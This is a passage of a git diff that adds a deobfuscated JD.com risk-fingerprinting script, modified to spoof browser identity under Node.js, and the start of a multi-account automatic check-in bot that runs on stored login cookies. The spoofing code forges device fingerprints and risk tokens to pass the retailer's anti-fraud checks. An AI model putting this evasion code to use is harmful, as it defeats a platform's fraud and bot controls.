VALUES(?, ?)", [n, e], + function (k, g) { }, + function (k, g) { }) + }) : f.transaction(function (r) { + r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { + 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) + }, function (k, g) { }) + }) + } + _fingerprint_step = "n" + } catch (r) { } + }; + this.setCookie = function (n, e) { + void 0 !== e && "" != e && (document.cookie = n + "=" + e + + "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) + }; + this.tdencrypt = function (n) { + n = this.toJson(n); + n = encodeURIComponent(n); + var e = "", + f = 0; + do { + var r = n.charCodeAt(f++); + var k = n.charCodeAt(f++); + var g = n.charCodeAt(f++); + var m = r >> 2; + r = (r & 3) << 4 | k >> 4; + var a = (k & 15) << 2 | g >> 6; + var b = g & 63; + isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); + e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); + q = ["devicePixelRatio", "screenTop", "screenLeft"]; + l = {}; + for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); + e.p = h; + e.w = l; + e.s = z; + e.sc = f; + e.tz = n.getTimezoneOffset(); + e.lil = w.sort().join("|"); + e.wil = ""; + f = {}; + try { + f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! + window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB + } catch (D) { } + e.ss = f; + e.ts.deviceTime = n.getTime(); + e.ts.deviceEndTime = (new Date).getTime(); + return this.tdencrypt(e) + }; + this.collectSdk = function (n) { + try { + var e = this, + f = !1, + r = e.getLocal("BATQW722QTLYVCRD"); + if (null != r && void 0 != r && "" != r) try { + var k = JSON.parse(r), + g = (new Date).getTime(); + null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && + null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, + f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = + k.tk)) + } catch (m) { } + r = !1; + e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( + e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) + })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( + /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, + "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) + })); + "function" == typeof n && n(e.deviceInfo) + } catch (m) { } + }; + this.compareVersion = function (n, e) { + try { + if (n === e) return 0; + var f = n.split("."); + var r = e.split("."); + for (n = 0; n < f.length; n++) { + var k = parseInt(f[n]); + if (!r[n]) return 1; + var g = parseInt(r[n]); + if (k < g) break; + if (k > g) return 1 + } + } catch (m) { } + return -1 + }; + this.isWKWebView = function () { + return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || 1 == window._is_jdsh_wkwebview ? !0 : !1 + }; + this.getErrorToken = function (n) { + try { + if (n) { + var e = (n + "").match(/"token":"(.*?)"/); + if (e && 1 < e.length) return e[1] + } + } catch (f) { } + return "" + }; + this.getJdJrBioToken = function (n) { + var e = this; + "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e + .compareVersion(JrBridge._version, "2.0.0") ? console.error( + "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ + type: e.bioConfig.type, + operation: e.bioConfig.operation, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + try { + "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token + } catch (r) { + console.error(r) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + })) + }; + this.getJdJrSdkCacheToken = function (n) { + var e = this; + try { + "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > + e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ + type: e.bioConfig.type, + operation: 5, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + var r = ""; + try { + "object" != typeof f && (f = JSON.parse(f)), r = f.token + } catch (k) { + console.error(k) + } + null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { + tk: r, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) + }) + } catch (f) { } + }; + this.getJdBioToken = function (n) { + var e = this; + n = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: n + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); + window._bioDeviceCb = function (f) { + try { + var r = "object" == typeof f ? f : JSON.parse(f); + if (void 0 != r && null != r && "0" != r.status) return; + null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = + r.data.token) + } catch (k) { + f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + } + }; + this.getJdSdkCacheToken = function (n) { + try { + var e = this, + f = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceSdkCacheCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: 5, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: f + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); + window._bioDeviceSdkCacheCb = function (r) { + var k = ""; + try { + var g = "object" == typeof r ? r : JSON.parse(r); + if (void 0 != g && null != g && "0" != g.status) return; + k = g.data.token + } catch (m) { + k = e.getErrorToken(r) + } + null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { + tk: k, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) + } + } catch (r) { } + }; + this.store = function (n, e) { + try { + this.setCookie(n, e) + } catch (f) { } + try { + window.localStorage && window.localStorage.setItem(n, e) + } catch (f) { } + try { + window.sessionStorage && window.sessionStorage.setItem(n, e) + } catch (f) { } + try { + window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) + } catch (f) { } + try { + this.db(n, _JdEid) + } catch (f) { } + }; + this.getLocal = function (n) { + var e = {}, + f = null; + try { + var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), + "$1"); + 0 !== r.length && (e.cookie = r) + } catch (g) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem(n)) + } catch (g) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + n]) + } catch (g) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) + } catch (g) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute(n)) + } catch (g) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (g) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (g) { } + try { + for (var k in e) + if (32 < e[k].length) { + f = e[k]; + break + } + } catch (g) { } + try { + if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) + } catch (g) { } + return f + }; + this.createWorker = function () { + if (window.Worker) { + try { + var n = new Blob([ + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ], { + type: "application/javascript" + }) + } catch (e) { + window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = + new BlobBuilder, n.append( + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ), n = n.getBlob() + } + try { + this.worker = new Worker(URL.createObjectURL(n)) + } catch (e) { } + } + }; + this.reportWorker = function (n, e, f, r) { + try { + null != this.worker && (this.worker.postMessage(JSON.stringify({ + url: n, + data: e, + success: !1, + async: !1 + })), this.worker.onmessage = function (k) { }) + } catch (k) { } + } +}; + +function td_collect_exe() { + _fingerprint_step = 8; + var t = td_collect.collect(); + td_collect.collectSdk(); + var u = "string" === typeof orderId ? orderId : "", + v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; + u = { + pin: _jdJrTdCommonsObtainPin(v), + oid: u, + p: "https:" == document.location.protocol ? "s" : "h", + fp: risk_jd_local_fingerprint, + ctype: v, + v: "2.7.10.4", + f: "3" + }; + try { + u.o = _CurrentPageUrl, u.qs = _url_query_str + } catch (w) { } + _fingerprint_step = 9; + 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); + u.fc = _JdEid; + try { + u.t = jd_risk_token_id + } catch (w) { } + try { + if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; + else { + var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); + u.qi = void 0 == x ? "" : x + } + } catch (w) { } + "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); + try { + td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != + td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : + td_collect.isRpTok = !1 + } catch (w) { + td_collect.isRpTok = !1 + } + x = td_collect.tdencrypt(u); + // console.log(u) + return { a: x, d: t } +} + +function _jdJrTdCommonsObtainPin(t) { + var u = ""; + "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : + "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); + return u +}; + +function getBody(url = document.location.href) { + navigator.userAgent = UA + let href = url + let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) + let [, origin, protocol, host, pathname] = choose; + document.location.href = href + document.location.origin = origin + document.location.protocol = protocol + document.location.host = host + document.location.pathname = pathname + const JF = new JdJrTdRiskFinger(); + let fp = JF.f.get(function (t) { + risk_jd_local_fingerprint = t + return t + }); + let arr = td_collect_exe() + return { fp, ...arr } +} + +JdJrTdRiskFinger.getBody = getBody; +module.exports = JdJrTdRiskFinger; \ No newline at end of file diff --git a/utils/JD_DailyBonus.js b/utils/JD_DailyBonus.js new file mode 100644 index 0000000..0563f85 --- /dev/null +++ b/utils/JD_DailyBonus.js @@ -0,0 +1,1950 @@ +/* + +京东多合一签到脚本 + +更新时间: 2021.09.09 20:20 v2.1.3 +有效接口: 20+ +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +电报频道: @NobyDa +问题反馈: @NobyDa_bot +如果转载: 请注明出处 + +如需获取京东金融签到Body, 可进入"京东金融"APP (iOS), 在"首页"点击"签到"并签到一次, 返回抓包app搜索关键字 h5/m/appSign 复制请求体填入json串数据内即可 +*/ + +var Key = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var DualKey = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var OtherKey = ``; //无限账号Cookie json串数据, 请严格按照json格式填写, 具体格式请看以下样例: + + +var LogDetails = false; //是否开启响应日志, true则开启 + +var stop = '0'; //自定义延迟签到, 单位毫秒. 默认分批并发无延迟; 该参数接受随机或指定延迟(例: '2000'则表示延迟2秒; '2000-5000'则表示延迟最小2秒,最大5秒内的随机延迟), 如填入延迟则切换顺序签到(耗时较长), Surge用户请注意在SurgeUI界面调整脚本超时; 注: 该参数Node.js或JSbox环境下已配置数据持久化, 留空(var stop = '')即可清除. + +var DeleteCookie = false; //是否清除所有Cookie, true则开启. + +var boxdis = true; //是否开启自动禁用, false则关闭. 脚本运行崩溃时(如VPN断连), 下次运行时将自动禁用相关崩溃接口(仅部分接口启用), 崩溃时可能会误禁用正常接口. (该选项仅适用于QX,Surge,Loon) + +var ReDis = false; //是否移除所有禁用列表, true则开启. 适用于触发自动禁用后, 需要再次启用接口的情况. (该选项仅适用于QX,Surge,Loon) + +var out = 0; //接口超时退出, 用于可能发生的网络不稳定, 0则关闭. 如QX日志出现大量"JS Context timeout"后脚本中断时, 建议填写6000 + +var $nobyda = nobyda(); + +var merge = {}; + +var KEY = ''; + +const Faker = require('./JDSignValidator') +const zooFaker = require('./JDJRValidator_Pure') +let fp = '', eid = '', md5 + +$nobyda.get = zooFaker.injectToRequest2($nobyda.get.bind($nobyda), 'channelSign') +$nobyda.post = zooFaker.injectToRequest2($nobyda.post.bind($nobyda), 'channelSign') + +async function all(cookie, jrBody) { + KEY = cookie; + merge = {}; + $nobyda.num++; + switch (stop) { + case 0: + await Promise.all([ + JingDongBean(stop), //京东京豆 + JingDongStore(stop), //京东超市 + //JingRongSteel(stop, jrBody), //金融钢镚 + //JingDongTurn(stop), //京东转盘 + // JDFlashSale(stop), //京东闪购 + // JingDongCash(stop), //京东现金红包 + // JDMagicCube(stop, 2), //京东小魔方 + //JingDongSubsidy(stop), //京东金贴 + JingDongGetCash(stop), //京东领现金 + //JingDongShake(stop), //京东摇一摇 + //JDSecKilling(stop), //京东秒杀 + // JingRongDoll(stop, 'JRDoll', '京东金融-签壹', '4D25A6F482'), + // JingRongDoll(stop, 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'), + // JingRongDoll(stop, 'JRFourDoll', '京东金融-签肆', '30C4F86264'), + // JingRongDoll(stop, 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F') + ]); + await Promise.all([ + //JDUserSignPre(stop, 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'), //京东内衣馆 + //JDUserSignPre(stop, 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'), //京东卡包 + // JDUserSignPre(stop, 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'), //京东定制 + //JDUserSignPre(stop, 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'), //京东陪伴 + //JDUserSignPre(stop, 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'), //京东鞋靴 + //JDUserSignPre(stop, 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'), //京东童装馆 + //JDUserSignPre(stop, 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'), //京东母婴馆 + //JDUserSignPre(stop, 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'), //京东数码电器馆 + //JDUserSignPre(stop, 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'), //京东女装馆 + //JDUserSignPre(stop, 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'), //京东图书 + // JDUserSignPre(stop, 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'), //京东-领京豆 + //JingRongDoll(stop, 'JTDouble', '京东金贴-双签', '1DF13833F7'), //京东金融 金贴双签 + // JingRongDoll(stop, 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin') //京东金融 现金双签 + ]); + await Promise.all([ + //JDUserSignPre(stop, 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'), //失眠补贴 + //JDUserSignPre(stop, 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'), //手机小时达 + //JDUserSignPre(stop, 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'), //京东电竞 + //JDUserSignPre(stop, 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'), //京东服饰 + // JDUserSignPre(stop, 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'), //京东箱包馆 + //JDUserSignPre(stop, 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'), //京东校园 + //JDUserSignPre(stop, 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'), //京东健康 + //JDUserSignPre(stop, 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'), //京东拍拍二手 + // JDUserSignPre(stop, 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'), //京东清洁馆 + // JDUserSignPre(stop, 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'), //京东个人护理馆 + // JDUserSignPre(stop, 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'), // 京东小家电 + // JDUserSignPre(stop, 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'), //京东珠宝馆 + // JDUserSignPre(stop, 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'), //京东美妆馆 + // JDUserSignPre(stop, 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'), //京东菜场 + // JDUserSignPre(stop, 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ') //京东智能生活 + JDUserSignPre(stop, 'JDPlus', '京东商城-PLUS', '3bhgbFe5HZcFCjEZf2jzp3umx4ZR'), //京东PLUS + JDUserSignPre(stop, 'JDStore', '京东超市', 'QPwDgLSops2bcsYqQ57hENGrjgj') //京东超市 + ]); + await JingRongDoll(stop, 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + default: + await JingDongBean(0); //京东京豆 + await JingDongStore(Wait(stop)); //京东超市 + await JingRongSteel(Wait(stop), jrBody); //金融钢镚 + await JingDongTurn(Wait(stop)); //京东转盘 + await JDFlashSale(Wait(stop)); //京东闪购 + await JingDongCash(Wait(stop)); //京东现金红包 + await JDMagicCube(Wait(stop), 2); //京东小魔方 + await JingDongGetCash(Wait(stop)); //京东领现金 + await JingDongSubsidy(Wait(stop)); //京东金贴 + await JingDongShake(Wait(stop)); //京东摇一摇 + await JDSecKilling(Wait(stop)); //京东秒杀 + // await JingRongDoll(Wait(stop), 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'); + // await JingRongDoll(Wait(stop), 'JRFourDoll', '京东金融-签肆', '30C4F86264'); + // await JingRongDoll(Wait(stop), 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F'); + // await JingRongDoll(Wait(stop), 'JRDoll', '京东金融-签壹', '4D25A6F482'); + // await JingRongDoll(Wait(stop), 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin'); //京东金融 现金双签 + // await JingRongDoll(Wait(stop), 'JTDouble', '京东金贴-双签', '1DF13833F7'); //京东金融 金贴双签 + // await JDUserSignPre(Wait(stop), 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'); //失眠补贴 + // await JDUserSignPre(Wait(stop), 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'); //手机小时达 + // await JDUserSignPre(Wait(stop), 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'); //京东卡包 + // await JDUserSignPre(Wait(stop), 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'); //京东内衣馆 + // await JDUserSignPre(Wait(stop), 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'); //京东电竞 + // await JDUserSignPre(Wait(stop), 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'); //京东定制 + // await JDUserSignPre(Wait(stop), 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'); //京东箱包馆 + // await JDUserSignPre(Wait(stop), 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'); //京东服饰 + // await JDUserSignPre(Wait(stop), 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'); //京东校园 + await JDUserSignPre(Wait(stop), 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'); //京东健康 + // await JDUserSignPre(Wait(stop), 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'); //京东鞋靴 + // await JDUserSignPre(Wait(stop), 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'); //京东童装馆 + // await JDUserSignPre(Wait(stop), 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'); //京东母婴馆 + // await JDUserSignPre(Wait(stop), 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'); //京东数码电器馆 + // await JDUserSignPre(Wait(stop), 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'); //京东女装馆 + // await JDUserSignPre(Wait(stop), 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'); //京东图书 + // await JDUserSignPre(Wait(stop), 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'); //京东拍拍二手 + // await JDUserSignPre(Wait(stop), 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'); //京东美妆馆 + // await JDUserSignPre(Wait(stop), 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'); //京东菜场 + await JDUserSignPre(Wait(stop), 'JDPlus', '京东商城-PLUS', '3bhgbFe5HZcFCjEZf2jzp3umx4ZR'); //京东PLUS + // await JDUserSignPre(Wait(stop), 'JDStore', '京东超市', 'QPwDgLSops2bcsYqQ57hENGrjgj'); //京东超市 + // await JDUserSignPre(Wait(stop), 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'); //京东陪伴 + // await JDUserSignPre(Wait(stop), 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ'); //京东智能生活 + // await JDUserSignPre(Wait(stop), 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'); //京东清洁馆 + // await JDUserSignPre(Wait(stop), 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'); //京东个人护理馆 + // await JDUserSignPre(Wait(stop), 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'); // 京东小家电馆 + // await JDUserSignPre(Wait(stop), 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'); //京东-领京豆 + // await JDUserSignPre(Wait(stop), 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'); //京东珠宝馆 + //await JingRongDoll(Wait(stop), 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + } + await Promise.all([ + TotalSteel(), //总钢镚查询 + TotalCash(), //总红包查询 + TotalBean(), //总京豆查询 + TotalSubsidy(), //总金贴查询 + TotalMoney() //总现金查询 + ]); + await notify(); //通知模块 +} + +function notify() { + return new Promise(resolve => { + try { + var bean = 0; + var steel = 0; + var cash = 0; + var money = 0; + var subsidy = 0; + var success = 0; + var fail = 0; + var err = 0; + var notify = ''; + for (var i in merge) { + bean += merge[i].bean ? Number(merge[i].bean) : 0 + steel += merge[i].steel ? Number(merge[i].steel) : 0 + cash += merge[i].Cash ? Number(merge[i].Cash) : 0 + money += merge[i].Money ? Number(merge[i].Money) : 0 + subsidy += merge[i].subsidy ? Number(merge[i].subsidy) : 0 + success += merge[i].success ? Number(merge[i].success) : 0 + fail += merge[i].fail ? Number(merge[i].fail) : 0 + err += merge[i].error ? Number(merge[i].error) : 0 + notify += merge[i].notify ? "\n" + merge[i].notify : "" + } + var Cash = merge.TotalCash && merge.TotalCash.TCash ? `${merge.TotalCash.TCash}红包` : "" + var Steel = merge.TotalSteel && merge.TotalSteel.TSteel ? `${merge.TotalSteel.TSteel}钢镚` : `` + var beans = merge.TotalBean && merge.TotalBean.Qbear ? `${merge.TotalBean.Qbear}京豆${Steel?`, `:``}` : "" + var Money = merge.TotalMoney && merge.TotalMoney.TMoney ? `${merge.TotalMoney.TMoney}现金${Cash?`, `:``}` : "" + var Subsidy = merge.TotalSubsidy && merge.TotalSubsidy.TSubsidy ? `${merge.TotalSubsidy.TSubsidy}金贴${Money||Cash?", ":""}` : "" + var Tbean = bean ? `${bean.toFixed(0)}京豆${steel?", ":""}` : "" + var TSteel = steel ? `${steel.toFixed(2)}钢镚` : "" + var TCash = cash ? `${cash.toFixed(2)}红包${subsidy||money?", ":""}` : "" + var TSubsidy = subsidy ? `${subsidy.toFixed(2)}金贴${money?", ":""}` : "" + var TMoney = money ? `${money.toFixed(2)}现金` : "" + var Ts = success ? `成功${success}个${fail||err?`, `:``}` : `` + var Tf = fail ? `失败${fail}个${err?`, `:``}` : `` + var Te = err ? `错误${err}个` : `` + var one = `【签到概览】: ${Ts+Tf+Te}${Ts||Tf||Te?`\n`:`获取失败\n`}` + var two = Tbean || TSteel ? `【签到奖励】: ${Tbean+TSteel}\n` : `` + var three = TCash || TSubsidy || TMoney ? `【其他奖励】: ${TCash+TSubsidy+TMoney}\n` : `` + var four = `【账号总计】: ${beans+Steel}${beans||Steel?`\n`:`获取失败\n`}` + var five = `【其他总计】: ${Subsidy+Money+Cash}${Subsidy||Money||Cash?`\n`:`获取失败\n`}` + var DName = merge.TotalBean && merge.TotalBean.nickname ? merge.TotalBean.nickname : "获取失败" + var cnNum = ["零", "一", "二", "三", "四", "五", "六", "七", "八", "九", "十"]; + const Name = DualKey || OtherKey.length > 1 ? `【签到号${cnNum[$nobyda.num]||$nobyda.num}】: ${DName}\n` : `` + const disables = $nobyda.read("JD_DailyBonusDisables") + const amount = disables ? disables.split(",").length : 0 + const disa = !notify || amount ? `【温馨提示】: 检测到${$nobyda.disable?`上次执行意外崩溃, `:``}已禁用${notify?`${amount}个`:`所有`}接口, 如需开启请前往BoxJs或查看脚本内第118行注释.\n` : `` + $nobyda.notify("", "", Name + one + two + three + four + five + disa + notify, { + 'media-url': $nobyda.headUrl || 